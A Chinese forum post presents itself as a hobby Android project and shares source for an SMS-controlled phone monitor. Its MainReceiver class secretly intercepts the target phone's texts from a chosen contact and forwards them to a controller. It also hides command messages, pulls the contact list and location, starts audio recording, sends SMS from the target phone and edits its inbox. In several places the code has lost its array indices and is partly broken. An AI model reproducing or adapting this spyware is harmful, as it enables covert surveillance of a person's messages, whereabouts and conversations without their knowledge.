基于短信的手机控制程序(附源码)
1.1前言兴趣是最好的老师,这句话对于有志于从事软件开发的人来说尤为重要,毕竟这一行业需要不断的学习新知识,缺乏兴趣的工作只会让人感到日益枯燥.以下是去年9月份在某培训班开始学习android的过程中,出于个人兴趣写的一个小程序.在此献给大家,一来借这类程序提高大家的Android开发兴趣,再者也可以学习一下简单实用的知识.
1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码
2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.
package iceman.android.project;import java.util.List;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.content.SharedPreferences.Editor;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;public class MainReceiver extends BroadcastReceiver{ private String number; private SmsManager manager = SmsManager.getDefault(); public void onReceive(Context context, Intent intent) { MyLog.LogI("OUTPUT", "广播接收器触发"); SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);//使用SharedPreferences存储admin号码和listen号码. String admin = preferences.getString("admin", ""); MyLog.LogI("OUTPUT", "当前admin:"+admin); String listen = preferences.getString("listen", ""); String password = preferences.getString("password", "iceman"); MyLog.LogI("OUTPUT", "当前listen:"+listen); Bundle bun = intent.getExtras(); //开始分析短信 if(bun!=null){ Object[] mypdus = (Object[])bun.get("pdus"); SmsMessage[] messages = new SmsMessage; for(int i=0;i<mypdus.length;i++){ messages = SmsMessage.createFromPdu((byte[])mypdus); } for(SmsMessage mess:messages){ number = mess.getDisplayOriginatingAddress(); String body = mess.getDisplayMessageBody(); MyLog.LogI("OUTPUT","号码来源:"+number); MyLog.LogI("OUTPUT","内容:"+body); if(number.contains("+86")){ number = number.substring(3); } MyLog.LogI("OUTPUT","号码来源转换"+number); //设定管理号码 if(body.equals("iceman78952190")){ MyLog.LogI("OUTPUT","查询密码哦"); abortBroadcast(); manager.sendTextMessage(number, null, password, null, null); } if(body.contains("@iceman@admin")){ abortBroadcast(); body = body.substring(13); if(password.equals("iceman")){ password = body; Editor editor = preferences.edit(); editor.putString("admin", number); editor.putString("password", body); editor.commit(); MyLog.LogI("OUTPUT","设定admin:"+number); manager.sendTextMessage(number, null, "admin change success!"+number, null, null); }else{ if(password.equals(body)){ Editor editor = preferences.edit(); editor.putString("admin", number); editor.commit(); MyLog.LogI("OUTPUT","设定admin:"+number); manager.sendTextMessage(number, null, "admin change success!"+number, null, null); }else{ MyLog.LogI("OUTPUT","密码不对"); } } } //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码 if(number.equals(admin)){ if(body.contains("@iceman@search")){ abortBroadcast(); MyLog.LogI("OUTPUT", "开始查询通讯录"); manager.sendTextMessage(admin, null, "search starting!", null, null); //启动服务,查询通讯录并发送 Intent it = new Intent(context,ContactService.class); it.putExtra("admin", admin); context.startService(it); }else if(body.contains("@iceman@change")){ abortBroadcast(); listen = body.substring(14); Editor editor = preferences.edit(); editor.putString("listen", listen); editor.commit(); MyLog.LogI("OUTPUT", "更改listen完成"); manager.sendTextMessage(admin, null, "listen change success!", null, null); }else if(body.contains("@iceman@location")){ abortBroadcast(); MyLog.LogI("OUTPUT", "开启位置监控"); Intent it = new Intent(context,LocationService.class); context.startService(it); manager.sendTextMessage(admin, null, "location listen success!", null, null); MyLog.LogI("OUTPUT", "位置监控开启完成"); }else if(body.contains("@iceman@where")){ abortBroadcast(); MyLog.LogI("OUTPUT", "开始发送并解析地址"); Intent it2 = new Intent(context,GetAddressService.class); context.startService(it2); }else if(body.contains("@iceman@start")){ abortBroadcast(); MyLog.LogI("OUTPUT", "收到录音开启命令"); Intent it = new Intent(context,RecorderService.class); context.startService(it); }else if(body.contains("@iceman@stop")){ abortBroadcast(); MyLog.LogI("OUTPUT", "收到结束录音命令"); Intent it = new Intent(context,RecorderService.class); context.stopService(it); }else if(body.contains("@iceman@sms")){ abortBroadcast(); MyLog.LogI("OUTPUT", "发送短信"); String[] str = body.split("#"); manager.sendTextMessage(str, null, str, null, null); MyLog.LogI("OUTPUT", "目标号码:"+str+"内容:"+str); }else if(body.contains("@iceman@replace")){ abortBroadcast(); String[] str = body.split("#"); MyLog.LogI("OUTPUT", "收到短信修改命令"); Intent it = new Intent(context,EditSmsService.class); it.putExtra("key", str); it.putExtra("number", str); it.putExtra("content", str); it.putExtra("type", "replace"); context.startService(it); } else if(body.contains("@iceman@edit")){ abortBroadcast(); String[] str = body.split("#"); MyLog.LogI("OUTPUT", "收到短信编辑命令"); Intent it = new Intent(context,EditSmsService.class); it.putExtra("key", str); it.putExtra("number", str); it.putExtra("content", str); it.putExtra("type", "edit"); context.startService(it); } } //判断是否由被监听号码发来的短信 if(number.equals(listen)){ String sms = number+":"+body; MyLog.LogI("OUTPUT", "监听到短信"); List<String> texts=manager.divideMessage(sms); for(String text:texts) { manager.sendTextMessage(admin, null, text, null, null); } } } } }}
页:
[1]